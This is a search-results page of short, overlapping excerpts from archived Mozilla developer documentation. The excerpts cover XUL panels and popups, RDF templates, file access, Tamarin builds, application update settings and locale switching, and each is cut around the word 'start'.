...'s also possible to auto-detect the minimal duration of the pre-buffer, such that the sound is played without interruptions, and lag between writing and playback is minimal. to do this
start writing the data in small portions and wait for the value returned by mozcurrentsampleoffset() to be greater than 0. var prebuffersize = samplerate * 0.020; // initial buffer is 20 ms var autolatency = true,
started = new date().valueof(); ... ...
...g and playback is minimal. to do this
start writing the data in small portions and wait for the value returned by mozcurrentsampleoffset() to be greater than 0. var prebuffersize = samplerate * 0.020; // initial buffer is 20 ms var autolatency = true,
started = new date().valueof(); ... // auto latency detection if (autolatency) { prebuffersize = math.floor(samplerate * (new date().valueof() -
started) / 1000); if (audio.mozcurrentsampleoffset()) { // play position moved? autolatency = false; } processing an audio stream since the mozaudioavailable event and the mozwriteaudio() method both use float32array values, it is possible to take the output of one audio stream and pass it directly (or process first and then pass) to a second. the first audio stream needs to be muted so that o...
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
as a result, mozilla is not fully backwards-compatible with netscape navigator 4.x and microsoft internet explorer legacy code; for example, mozilla does not support <layer> as i will discuss later. browsers, like internet explorer 4, that were built before the conception of w3c standards inherited many quirks. in this article, i will describe mozilla's quirks mode, which provides strong backwards html compatibility with internet explorer and other legacy browsers. i'll also cover nonstandard technologies, such as xmlhttprequest and rich text editing, that mozilla does support because no w3c equivalent existed at the time. ...
...ending the wrong mimetype for the css file. the css specification states that css files should be served with the text/css mimetype. mozilla will respect this and only load css files with that mimetype if the web page is in strict standards mode. internet explorer will always load the css file, no matter with which mimetype it is served. web pages are considered in strict standards mode when they
start with a strict doctype. to solve this problem, you can make the server send the right mimetype or remove the doctype. i'll discuss more about doctypes in the next section. css and units many web applications do not use units with their css, especially when you use javascript to set the css. mozilla tolerates this, as long as the page is not rendered in strict mode. since internet explorer does n...
...nge the color to green in this example. you can use two ways to make mozilla behave like internet explorer and not change the color of the text when hovered over: first, you can change the css rule to be a:link:hover {color: green;}, which will only change the color if the element is a link (has an href attribute). alternatively, you can change the markup and close the opened <a /> before the
start of the text -- the anchor will continue to work this way. quirks versus standards mode older legacy browsers, such as internet explorer 4, rendered with so-called quirks under certain conditions. while mozilla aims to be a standards-compliant browser, it has three modes that support older web pages created with these quirky behaviors. the page's content and delivery determine which mode mozill...
...rs: the event type, a function reference, and a boolean denoting whether the listener should catch events in their capture phase. if the boolean is set to false, it will only catch bubbling events. w3c events have three phases: capturing, at target, and bubbling. every event object has an eventphase attribute indicating the phase numerically (0 indexed). every time you trigger an event, the event
starts at the dom's outermost element, the element at the top of the dom tree. it then walks the dom using the most direct route toward the target, which is the capturing phase. when the event reaches the target, the event is in the target phase. after arriving at the target, it walks up the dom tree back to the outermost node; this is bubbling. internet explorer's event model only has the bubbling pha...
Space Manager Detailed Design - Archive of obsolete content
world coordinate space. this represents the accumulated calls to * translate(). */ void gettranslation(nscoord& ax, nscoord& ay) const { ax = mx; ay = my; } /** * returns the y-most of the bottommost band or 0 if there are no bands. * * @return pr_true if there are bands and pr_false if there are no bands */ prbool ymost(nscoord& aymost) const; /** * returns a band
starting at the specified y-offset. the band data * indicates which parts of the band are available, and which parts * are unavailable * * the band data that is returned is in the coordinate space of the * local coordinate system. * * the local coordinate space origin, the y-offset, and the max size * describe a rectangle that's used to clip the underlying band of * available...
...* world coordinate space. this represents the accumulated calls to * translate(). */ void gettranslation(nscoord& ax, nscoord& ay) const { ax = mx; ay = my; } /** * returns the y-most of the bottommost band or 0 if there are no bands. * * @return pr_true if there are bands and pr_false if there are no bands */ prbool ymost(nscoord& aymost) const; region management /** * returns a band
starting at the specified y-offset. the band data * indicates which parts of the band are available, and which parts * are unavailable * * the band data that is returned is in the coordinate space of the * local coordinate system. * * the local coordinate space origin, the y-offset, and the max size * describe a rectangle that's used to clip the underlying band of * available space, i.e. * {0...
...ablespace otherwise, move to the next band getbandavailablespace: this method is called from getbanddata only. it walks all of the bands in the space manager and determines which bands intersect with the band passed in, and if within those bands there are regions that are available or occupied. first, walk all of the bands until a band that is to the right of the desired offset is located
starting at that band, walk the remaining bands: if the current band is to the right of the requested band, then there is available space. if there is more room in the banddata collection, then add a trapezoid to the banddata collection such that it is marked as available and has arect that represents the space between the reference band tna dht band being examined if there is no more room in the ba...
...+-----+ // | b | +-----+ +-----+ | r | | b | // | | | | +-----+ // +-----+ +-----+ // +-----+ // | r | // +-----+ // first, check for the easiest case, where there are no existing bandrects, or the band rect passed in is below the bottommost rect. in this case,just append the band rect and return.
starting at the head of the list of bandrects, check for intersection with the rect passed in: case #1: the rect is totally above the current band rect, so insert a new band rect before the current bandrect cases #2 and #7: the rect is partially above the band rect, so it is divided into two bandrects, one entirely above the band, and one containing the remainder of the rect. insert the part that is ...
Tamarin build documentation - Archive of obsolete content
-mac_86'. - download the r5b mac ndk zip file from http://developer.android.com/sdk/ndk/index.html. unzip to your sdk/ndk top folder. rename this folder to 'android-ndk'. - run the android sdk/avd manager at /android-public/android-sdk-mac_86/tools/android and add android sdk platform-tools (to get adb), sdk platform android 2.3.3, and api 10 (samples and docs are optional). if you have trouble
starting the app try this: $ export android_swt=$android_build_top/android-sdk-mac_86/tools/lib/x86_64 where $android_build_top is the full path to your sdk/ndk top folder - get the openssl-0.9.8r.tar (openssl-1.0.0c.tar.gz won't work) openssl files from http://www.openssl.org (use the source link on the left). unzip the file and put the /openssl main folder under your sdk/ndk top folder. make sure ...
...dio visual studio 2008 (vs2008) is the preferred windows build environment. visual studio 2003 and 2005 are no longer supported. to build tamarin: copy tamarin/platform/win32/armasm.rules to c:/program files/microsoft visual studio 9.0/vc/vcprojectdefaults build "builtin.h" following the instructions below in the section "compiling and running applications" do the same for shell_toplevel.h,
starting in avmplus/shell, using the command "python shell_toplevel.py" open the tamarin project file "platform/win32/avmplus2008.sln". choose your desired configuration and target, and build. note: now that bug 478714 has been fixed, the name of the (shell) executable will always be "avm.exe" no matter which build configuration you select. the avm.exe file will be found in a directory reflecting yo...
...f the build configs. all are available from the run menu. note: if you receive an error when trying to run/debug a newly imported project, try opening a file in the project first - eclipse can sometimes get confused as to what the 'current project' actually is. additional things to try are clicking on the project name then refreshing it (file/refresh or right-click/refresh) and/or quitting and re
starting eclipse. linux and unix tamarin is tested on linux but not on other unix flavors. nonetheless, it is possible to build tamarin on unix. execute the following commands to build: $ cd tamarin-central/platform/unix $ make the resulting executable "shell" is built in the current directory. compiling and running applications currently the only compiler for tamarin is the adobe action...
...h. branch: which branch of tamarin the repository is based on, tamarin-central or tamarin-tracing. description: self explanatory check the status of the build @ http://tamarin-builds.mozilla.org/tamarin-redux/ , you can also see your build request in the queue at http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm. if you no longer want you sandbox to build and it has not
started yet, you can delete the build request from the queue from the request page. tryserver etiquette the sandbox is not a good substitute for running the regression tests locally to catch obvious problems. this is a shared resource, each request takes approximately 2+ hours to run so please use wisely. ...
getFolder - Archive of obsolete content
urrent user" "defaults" "file:///" "os drive" "plugins" "preferences" "profile" "program" "temporary" "mac apple menu" "mac control panel" "mac desktop" "mac documents" "mac extension" "mac fonts" "mac shutdown" "mac
startup" "mac system" "mac trash" "mac preferences" "macosx default download" "macosx home" "macosx internet sites" "macosx local applications" "macosx local desktop" "macosx local documents" "macosx local frameworks" "macosx local internet plugin" "macosx local pr...
...it must be in file: url format minus the "file:///" part. for example, mydir = getfolder("file:///", "c|/mysoftco/somedir"); note that forward slashes are used, regardless of the plat...
...it must be in file: url format minus the "file:///" part. for example, mydir = getfolder("file:///", "c|/mysoftco/somedir"); note that forward slashes are used, regardless of the platform. the folders whose nam...
...x user preferences" "unix lib" "unix local" "windows" "win appdata" "win common files" "win desktop" "win desktop common" "win program files" "win programs" "win programs common" "win
startmenu" "win
startmenu common" "win
startup" "win
startup common" "win system" the "file:///" form is only valid when the subdirectory parameter is used. it must be in file: url format minus the "file:///" part. for example, mydir = getfolder("file:///", "c|/mysoftco/somedir"); note that forward slashes are used, regardless of the platform. the folders whose names
start with "win", "mac", or "un...
Building accessible custom components in XUL - Archive of obsolete content
the final product looks like this: <caption>xul spreadsheet with 7 rows and 5 columns</caption> although this has the visual layout of a spreadsheet, assistive technologies will only see it as a collection of individual, unrelated text labels. if we inspect this with the msaa inspect32 tool, we see that each cell is exposed as role="t...
...ed an onblur handler to accept the edited value before the focus changes.) first, the code to trigger edit mode: <code> const key_up = 38; const key_down = 40; const key_left = 37; const key_right = 39; const key_enter = 13; const key_escape = 27; function cell_keypress(e) { var current = e.target; switch (e.keycode) { case key_enter: if (current.tagname == 'label') {
start_edit(current); } break; case key_up: spreadsheet_up(current); break; case key_down: spreadsheet_down(current); break; case key_left: spreadsheet_left(current); break; case key_right: spreadsheet_right(current); break; } } </code> second, the code to handle replacing the label with a textbox (to
start e...
...the textbox with a label (to finish editing). note that when we recreate the label element after editing, we need to explicitly restore the role attribute of the label, so that assistive technologies will continue to treat it as a cell within the spreadsheet. ...
...e.keycode) { case key_enter: settimeout(function() { var label = done_edit(textbox, true); label.focus(); }, 0); break; case key_escape: settimeout(function() { var label = done_edit(textbox, false); label.focus(); }, 0); break; } } </code> with this new code, we can now navigate to a specific cell within the spreadsheet and press enter to edit the value. the
start_edit function replaces the label with a textbox, which allows the user to change the cell value. <caption>editing a cell</caption> once we're satisfied with our changes, we can press enter again to accept the value. the done_edit function recreates the original label element and sets the new value. note that the role is once again "cell", since we explicitly set it when we recreated the ...
Accessing Files - Archive of obsolete content
reading textual data, writing textual data, list of file-related error codes. accessing files this section describes how to create a file reference. retrieving a file when working with files, usage is always done via a file object and not via string paths. this allows files to used in a portable way. because string paths are not used, references to files in a file object are made relative to some
starting directory. a number of
starting directories may be used, for instance, the user's home directory, the desktop, the system's temporary folder, and so forth. once one of these
starting directories is determined, a file reference may be created relative to this. a common case is to write a file in the directory that holds the user's preferences. this is a convenient location where an extension mi...
...xt located in the profile directory. var file = io.getfile("profile", "sample.txt"); the nsiscriptableio object is a global object always available within an application or extension which provides a number of useful functions for dealing with files. one such method it provides is nsiscriptableio.getfile() which returns a new nsifile object. the first argument to nsiscriptableio.getfile() is the
starting directory from which to locate a file. in the example above the word 'profile' is used, which means
start from within the user's profile directory. the actual location of this directory will vary by user and system, so this is a convenient means to refer to a common directory without having to locate it yourself. for a full list of
starting directories, see
starting directories below. the seco...
... file is present or not. the exists method returns true if the file is present and false if it is not. if the file does not exist, you may wish to create it. the file object has a nsifile.create() method which may be used to create an empty file, or you can open a writing stream and write to the file. nsiscriptableio.getfile() may only be used to retrieve files that are directly within one of the
starting directories. to retrieve other files, you will need to use nsiscriptableio.getfile() to access a directory and iterate through subdirectories until you come to the file that you want. for more information about this, see working with directories.
starting directories the examples above use the profile directory 'profile' as the
starting directory for locating a file. there are several other va...
...his as the default directory for saving files. components the components directory where xpcom components are installed. temp the temporary directory. you would store any temporary or cache files here. there are a number of other values that may be used, most of which are platform specific. for instance, on windows, the value 'strt' returns the
start directory, where applications which run when the system
starts up are placed. on other platforms, using this value will just result in an error. ...
How to Quit a XUL Application - Archive of obsolete content
script can attempt to quit a xul application, or force the application to quit, using the nsiapp
startup interface. <script> function quit (aforcequit) { var app
startup = components.classes['@mozilla.org/toolkit/app-
startup;1']. getservice(components.interfaces.nsiapp
startup); // eattemptquit will try to close each xul window, but the xul window can cancel the quit // process if there is unsaved data. eforcequit will quit no matter what. ...
... <script> function quit (aforcequit) { var app
startup = components.classes['@mozilla.org/toolkit/app-
startup;1']. getservice(components.interfaces.nsiapp
startup); // eattemptquit will try to close each xul window, but the xul window can cancel the quit // process if there is unsaved data. eforcequit will quit no matter what. ...
...lla.org/toolkit/app-
startup;1']. getservice(components.interfaces.nsiapp
startup); // eattemptquit will try to close each xul window, but the xul window can cancel the quit // process if there is unsaved data. eforcequit will quit no matter what. ...
...;1']. getservice(components.interfaces.nsiapp
startup); // eattemptquit will try to close each xul window, but the xul window can cancel the quit // process if there is unsaved data. eforcequit will quit no matter what. ...
Panels - Archive of obsolete content
result is a search button which opens a panel for entering the search term. when using the popup attribute, the panel will appear with the top left corner at the mouse position. in this case, you may wish to have the popup appear below the label instead. the position attribute may be used to control the placement of the popup. here is a complete example: <panel id="search-panel" position="after_
start"> <label control="search" value="terms:"/> <textbox id="search"/> </panel> <label value="search" popup="search-panel"/> the position attribute has been added to the panel element with the value 'after_
start'. this causes the panel to be displayed not where the mouse was clicked but aligned along the bottom edge of the label. for more information about this attribute and other possible valu...
...ttribute. this works just like using context menus except that the panel element is used instead of the menupopup element. see context menus for more details on this. opening a panel with script the panel, like all popups, has an openpopup method which may be used to open the popup using a script. for example, the following would open a panel underneath a button: panel.openpopup(button, "after_
start", 0, 0, false, false); likewise, the openpopupatscreen method will open a panel at a specific screen position. for more details about both methods, see opening and closing popups. closing a panel a panel is closed automatically when the user clicks outside of the panel. it is quite common however, to have an element such as a button within the panel to close it as well. for instance, using th...
...it is quite common however, to have an element such as a button within the panel to close it as well. for instance, using the search panel example above, we could add a button which closes the panel when pressed: <script> function dosearch() { document.getelementbyid("search-panel").hidepopup(); } </script> <toolbarbutton label="search" type="panel"> <panel id="search-panel" position="after_
start"> <textbox id="search"/> <button label="search" oncommand="dosearch();"/> </panel> </toolbarbutton> in this example, the dosearch() function is called when the "search" button is pressed. this function retrieves the popup and calls the hidepopup method. naturally, this function would also include code to
start the search operation. preventing panels from automatically closing a pane...
...ocused. normally, only the latter would be set if needed. this process of removing the focus when opening and closing a popup occurs after the popupshowing event or popuphiding event is fired, which means that if those events are cancelled, the focus is not adjusted. letting panels be dragged by grabbing the background requires gecko 7.0(firefox 7.0 / thunderbird 7.0 / seamonkey 2.4)
starting in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), you can use the backdrag attribute to create panels that the user can drag by clicking and dragging anywhere on their backgrounds. this is a simple, boolean attribute, so you can enable this feature like this: <panel backdrag="true"> ...
Providing Command-Line Options - Archive of obsolete content
lication. firefox.exe -viewapp url opens a chrome window for my application and passes it an nsiuri object. ...
...e this sample code, save the commandline.js file into the components directory and add the following lines to your chrome.manifest file: component {2991c315-b871-42cd-b33f-bfee4fcbf682} components/commandline.js contract @mozilla.org/commandlinehandler/general-
startup;1?type=myapp {2991c315-b871-42cd-b33f-bfee4fcbf682} category command-line-handler m-myapp @mozilla.org/commandlinehandler/general-
startup;1?type=myapp the javascript code const cc = components.classes; const ci = components.interfaces; components.utils.import("resource://gre/modules/xpcomutils.jsm"); components.utils.import("resource://gre/modules/services.jsm"); // changeme: to the chrome uri of your extension or application const chrome_uri = "chrome://myapp/content/"; /** * utility functions */ /** * opens a chrome w...
...typical command-line handlers use a // category that begins with the letter "m". entry: "m-myapp" }], queryinterface: xpcomutils.generateqi([ ci.nsicommandlinehandler ]), /* nsicommandlinehandler */ handle : function clh_handle(cm...
... -viewapp on the command line."); } // changeme: change "myapp" to your command line flag (no argument) if (cmdline.handleflag("myapp", false)) { openwindow(chrome_uri, null); cmdline.preventdefault = true; } }, // changeme: change the help info as appropriate, but // follow the guidelines in nsicommandlinehandler.idl // specifically, flag descriptions should
start at // character 24, and lines should be wrapped at // 72 characters with embedded newlines, // and finally, the string should end with a newline helpinfo : " -myapp open my application\n" + " -viewapp <uri> view and edit the uri in my application,\n" + " wrapping this description\n" }; var nsgetfactory = xpcomutils.gen...
Bindings - Archive of obsolete content
« previousnext » we can add more triples to the previous example to show more information. for example, a description could be added to a photo. to do this all we need to do is add the necessary data to the rdf datasource and add another <triple> element to the template's statements. <query> <content uri="?
start"/> <member container="?
start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> it works similarly to the previous triple. the ?photo variable is filled in with the known value and then the arc is looked up the datasource, filling in the value for the...
...m/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> dc:description="view from the top of the tower looking east of the doges palace"/> if you try a full example based on this data, you will notice that only one result has been generated. this is because only one item has a description. here is the data after the first <triple> has been evaluated. ...
...er looking east of the doges palace"/> if you try a full example based on this data, you will notice that only one result has been generated. this is because only one item has a description. here is the data after the first <triple> has been evaluated. (?
start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = 'palace from above') (?
start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg, ?title = 'canal') (?
start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg, ?title = 'obelisk') the second triple will add a ?description for the first photo, adding a fourth variable-value pair to the existing data. for the second phot...
... http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg, ?title = 'obelisk') the second triple will add a ?description for the first photo, adding a fourth variable-value pair to the existing data. for the second photo, the datasource doesn't have any matches for the description, so that potential result will be removed. the same happens for the third photo. in the end, only one photo remains. (?
start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = 'palace from above', ?description = 'view from the top of the tower looking east of the doges palace') thus, only one match exists, so only one set of content is generated. sometimes, it would be useful to have triples that match conditionally; that is, a triple that doesn't cause ...
Filtering - Archive of obsolete content
removing the filter, we only need to remove the triple from the query. this example only adds one triple, but you could add others, or add <member> elements. whether a triple or member is added or removed, the template must be rebuilt by calling the rebuild method. this method will remove all of the existing generated content, delete all of the internal information pertaining to the results, and
start again as if the template were just being examined for the first time. the template will be parsed again and the data examined for new results. you can view a complete example of this in action. a menulist is used to allow one to select either a specific country, or select all to show all of the photos. when a choice is made, the applyfilter function as shown above is called and the template conte...
...s#type -> http://www.daml.org/2001/09/countries/country-ont#country http://www.daml.org/2001/09/countries/iso#it -> http://purl.org/dc/elements/1.1/title -> italy the type is just like any other triple in the datasource, so we don't need any special syntax to navigate over it. we just need to use the right predicate to look for all the countries. you might wonder what the ref attribute or
starting point should be set to since there is no container for the countries. actually, we can just use the type as the
starting point. <menulist datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country"> remember that the only requirement is that the
starting point be a resource, but it doesn't matter what resource is used. the query statemen...
...-ont#country"> remember that the only requirement is that the
starting point be a resource, but it doesn't matter what resource is used. the query statements will need to iterate over the arcs pointing into the type resource. since we want the arcs pointing into the type, we need to determine the source or subject of a triple. look at the resulting rdf triples above again if this is unclear. the
starting node is 'http://www.daml.org/2001/09/countries/country-ont#country'. we need to iterate over the 'type' predicate to find the individual countries. a second triple is used to get the title for the country. ...
...the arcs pointing into the type, we need to determine the source or subject of a triple. look at the resulting rdf triples above again if this is unclear. the
starting node is 'http://www.daml.org/2001/09/countries/country-ont#country'. we need to iterate over the 'type' predicate to find the individual countries. a second triple is used to get the title for the country. <query> <content uri="?
start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?
start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> the action body will need to generate a <menuitem> for each result. it will also need to include a <menupopup> around all of the items.
Rule Compilation - Archive of obsolete content
this step involves working through the query rules and processing them into internal structures. thus, changing the rule elements around dynamically doesn't affect anything. however, rebuilding the template (using the builder.rebuild method) will recompile the query and rules and reapply the t...
...this step involves working through the query rules and processing them into internal structures. thus, changing the rule elements around dynamically doesn't affect anything. however, rebuilding the template (using the builder.rebuild method) will recompile the query and rules and reapply the template again. this means that you c...
...ated. does this mean that templates cannot be used inside hidden areas of the ui? no, you can still do that. changing the hidden state of an element isn't the only way to cause content to be generated. calling a dom api which needs to get at the generated content will cause the template builder to generate output. ...
...however, there are two cases where content is not generated automatically: menus and child tree items. content inside a menu is not generated until the menu is opened. ...
Static Content - Archive of obsolete content
f the template element. this content is displayed as is without affecting the generated content from the template. ...
...template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" oncommand="applyfilter(event.target.value);"> <menupopup> <menuitem label="all"/> </menupopup> <template> <query> <content uri="?
start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?
start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <menupopup> <menuitem uri="?country" label="?countrytitle" value="?country"/> </menupopup> </action> </template> </menulist> the only difference between the previous example and this one is that the menulist...
...o buttons. actually, this example is similar, it just uses a radiogroup instead of a menulist to display the list of countries. ...
...p datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" onselect="applyfilter(event.target.value);"> <radio label="all" selected="true"/> <template> <query> <content uri="?
start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?
start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <radio uri="?country" label="?countrytitle" value="?country"/> </action> </template> </radiogroup> this example doesn't have any other content to generate outside the radio element with the uri attribute, so it will just ...
Toolbar customization events - Archive of obsolete content
when toolbars are customized, events are sent to their parent window. you can use window.addeventlistener() to listen for these events in order to keep abreast of changes to toolbars. none of these events contain any data; if you need details, you'll need to look at the toolbar. beforecustomization this event is delivered when the user
starts the toolbar customization process; for example, by right-clicking on a toolbar and choosing "customize". customizationchange this event is delivered when the user makes a change to a toolbar while editing the toolbars, either by dragging an item to the toolbar or by dragging an item out of it. aftercustomization this event is delivered when the user closes the toolbar customization panel. in all cases, the event.target is the too...
... an item out of it. aftercustomization this event is delivered when the user closes the toolbar customization panel. in all cases, the event.target is the toolbox being customized. you can look at the contents of that element and its children to determine what changes were made. example in this example, we watch for toolbar changes. ...
...ing customized. you can look at the contents of that element and its children to determine what changes were made. example in this example, we watch for toolbar changes. ...
...hildren to determine what changes were made. example in this example, we watch for toolbar changes. ...
Popup Menus - Archive of obsolete content
uld appear underneath the back button, not where the mouse pointer is. to change the popup position, you can use an additional attribute, position, on the menupopup. you can also add it to the menupopup element. this attribute is used to indicate the placement of the popup relative to the element invoking the popup. it can be set to a number of values, which are described briefly below: after_
start the popup appears below the element with the left edges of the element and the popup window aligned. if the popup window is larger than the element, is extends to the right. this is the value used for the drop-down menus associated with the browser's back and forward buttons. after_end the popup appears below the element with the right edges of the element and the popup window aligned. before...
... the popup appears below the element with the left edges of the element and the popup window aligned. if the popup window is larger than the element, is extends to the right. this is the value used for the drop-down menus associated with the browser's back and forward buttons. after_end the popup appears below the element with the right edges of the element and the popup window aligned. before_
start the popup appears above the element with the left edges of the element and the popup window aligned. before_end the popup appears above the element with the right edges of the element and the popup window aligned. end_after the popup appears to the right of the element with the bottom edges of the element and the popup window aligned. end_before the popup appears to the right of the elemen...
...ement and the popup window aligned. before_end the popup appears above the element with the right edges of the element and the popup window aligned. end_after the popup appears to the right of the element with the bottom edges of the element and the popup window aligned. end_before the popup appears to the right of the element with the top edges of the element and the popup window aligned.
start_after the popup appears to the left of the element with the bottom edges of the element and the popup window aligned.
start_before the popup appears to the left of the element with the top edges of the element and the popup window aligned. overlap the popup appears on top of the element. at_pointer the popup appears at the mouse pointer position (at_pointer is not currently implemented wit...
...bute to a popup element, you can specify precisely where the popup appears. you cannot specify an exact pixel position. the position attribute can be used with all three popup types, although you probably would not change the value for tooltips. the example below demonstrates creating a back button with a popup menu: example 3 : source view <popupset> <menupopup id="backpopup" position="after_
start"> <menuitem label="page 1"/> <menuitem label="page 2"/> </menupopup> </popupset> <button label="pop me up" popup="backpopup"/> our find files example let's add a simple popup menu to the find files dialog. for simplicity, we'll just replicate the contents of the edit menu. let's have the popup appear when clicking over the first tab panel: <popupset> <menupopup id="editpopup"> ...
panel - Archive of obsolete content
left, level, noautofocus, noautohide, norestorefocus, onpopuphidden, onpopuphiding, onpopupshowing, onpopupshown, position, titlebar, top, type properties accessibletype, label, popupboxobject, popup, state methods hidepopup, moveto, openpopup, openpopupatscreen, sizeto examples the following example shows how a panel may be attached to a label. ...
...w popups, however, being able to flip horizontally makes sense. this attribute, set to both, permits that behavior. you will not normally have to use this attribute, since it's automatically applied to arrow panels. an arrow panel can also specify a value of slide, which causes the arrow to "slide" instead of flipping when the panel doesn't have room. a sliding panel will have the
start (or end) position extended such that the panel can be the requested size, meaning the arrow will no longer be at the
start (or end) of the panel - i.e., the arrow will appear to have been slid along the panel to ensure the arrow is still pointing at the anchor. in this image, the panel has flip="slide" and has a width which is greater than the distance from the anchor to the right ...
... of the popup (the second word). the anchor value (ie, the first word) can be one of topleft, topright, bottomleft, bottomright, leftcenter, rightcenter, topcenter or bottomcenter. the popup value (ie, the second word) can be one of topleft, topright, bottomleft or bottomright. positions specified as a single word string are shortcuts for the values above. valid single-word values are after_
start, after_end, before_
start, before_end, end_after, end_before,
start_after,
start_before, overlap, at_pointer or after_pointer. for more details, including examples, please see popup positioning titlebar type: string set the panel's titlebar attribute to the value normal to display a panel with a titlebar. the noautohide attribute must be set to true. top type: integer overrides t...
...an anchor node and set the position to a string indicating the manner in which the popup should be anchored. the anchor node does not need to be in the same document as the popup. unanchored popups may be created by supplying null as the anchor node. the direction in which the popup is oriented depends on the direction of the anchor. position possible values for position are: before_
start, before_end, after_
start, after_end,
start_before,
start_after, end_before, end_after, overlap, and after_pointer. check positioning of the popup guide for a precise description of the effect of the different values. x, y for an anchored popup, the x and y arguments may be used to offset the popup from its anchored position by some number, measured in css pixels. an unanchored popup...
tooltip - Archive of obsolete content
"/> <button label="more" tooltip="moretip"/> </vbox> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
... of the popup (the second word). the anchor value (ie, the first word) can be one of topleft, topright, bottomleft, bottomright, leftcenter, rightcenter, topcenter or bottomcenter. the popup value (ie, the second word) can be one of topleft, topright, bottomleft or bottomright. positions specified as a single word string are shortcuts for the values above. valid single-word values are after_
start, after_end, before_
start, before_end, end_after, end_before,
start_after,
start_before, overlap, at_pointer or after_pointer. for more details, including examples, please see popup positioning properties accessibletype type: integer a value indicating the type of accessibility object for the element. label type: string gets and sets the value of...
...an anchor node and set the position to a string indicating the manner in which the popup should be anchored. the anchor node does not need to be in the same document as the popup. unanchored popups may be created by supplying null as the anchor node. the direction in which the popup is oriented depends on the direction of the anchor. position possible values for position are: before_
start, before_end, after_
start, after_end,
start_before,
start_after, end_before, end_after, overlap, and after_pointer. check positioning of the popup guide for a precise description of the effect of the different values. x, y for an anchored popup, the x and y arguments may be used to offset the popup from its anchored position by some number, measured in css pixels. an unanchored popup...
Application Update - Archive of obsolete content
you will need to compile a unix/linux executable mar from mozilla/modules/libmar. ...
...urposes. //pref("app.update.url.override", ""); // interval: time between checks for a new version (in seconds) // default=1 day pref("app.update.interval", 86400); // interval: time before prompting the user to download a new version that // is available (in seconds) default=1 day pref("app.update.nagtimer.download", 86400); // interval: time before prompting the user to re
start to install the latest // download (in seconds) default=30 minutes pref("app.update.nagtimer.re
start", 1800); // interval: when all registered timers should be checked (in milliseconds) // default=5 seconds pref("app.update.timer", 600000); // whether or not we show a dialog box informing the user that the update was // successfully applied. this is off in firefox by default ...
... download (in seconds) default=30 minutes pref("app.update.nagtimer.re
start", 1800); // interval: when all registered timers should be checked (in milliseconds) // default=5 seconds pref("app.update.timer", 600000); // whether or not we show a dialog box informing the user that the update was // successfully applied. this is off in firefox by default since we show a // upgrade
start page instead! other apps may wish to show this ui, and supply // a whatsnewurl field in their brand.properties that contains a link to a page // which tells users what's new in this new update. pref("app.update.showinstalledui", false); // 0 = suppress prompting for incompatibilities if there are updates available // to newer versions of installed addons that resolve them. // 1 = suppress pr...
...s to the update mar file (a mozilla archive) which contains all files which are going to be updates it also contains a sha1 hash and file size used for verification of the update. if an update file is found that correctly describes an update your application, or rather xulrunner, will download the update, verify it with the hash and filesize and install. it will then prompt the user to re
start the application. resources http://wiki.mozilla.org/software_update http://wiki.mozilla.org/updategeneration http://developer.mozilla.org/en/docs/setting_up_an_update_server http://chatzilla.rdmsoft.com/xulrunner/update/ http://developer.mozilla.org/en/docs/xulrunner_tips ...
How to enable locale switching in a XULRunner application - Archive of obsolete content
listitem.setattribute("value", locale); listitem.setattribute("label", locale); if (locale == selectedlocale) { // is this the current locale? selecteditem = listitem; } localelistbox.appendchild(listitem); } // highlight current locale localelistbox.selecteditem = selecteditem; } catch (err) { alert (err); } 4. code to update the locale user preference and re
start the application mozilla xulrunner doesn't allow runtime switching of the locale, therefore the application must be re
started to activate the new choice. here is an example event handler which is fired when the user clicks on the button to change the locale. it saves the new locale to the user application preferences (thereby overriding the default prefs.js above) and then asks xulrunner to restar...
...id the user select? var localelistbox = document.getelementbyid("locale-listbox"); var newlocale = localelistbox.selecteditem.value; // write preferred locale to local user config var prefs = components.classes["@mozilla.org/preferences-service;1"]. ...
...ocalelistbox = document.getelementbyid("locale-listbox"); var newlocale = localelistbox.selecteditem.value; // write preferred locale to local user config var prefs = components.classes["@mozilla.org/preferences-service;1"]. ...
...); var newlocale = localelistbox.selecteditem.value; // write preferred locale to local user config var prefs = components.classes["@mozilla.org/preferences-service;1"]. getservice(components.interfaces.nsiprefbranch); prefs.setcharpref("general.useragent.locale", newlocale); // re
start application var app
startup = components.classes["@mozilla.org/toolkit/app-
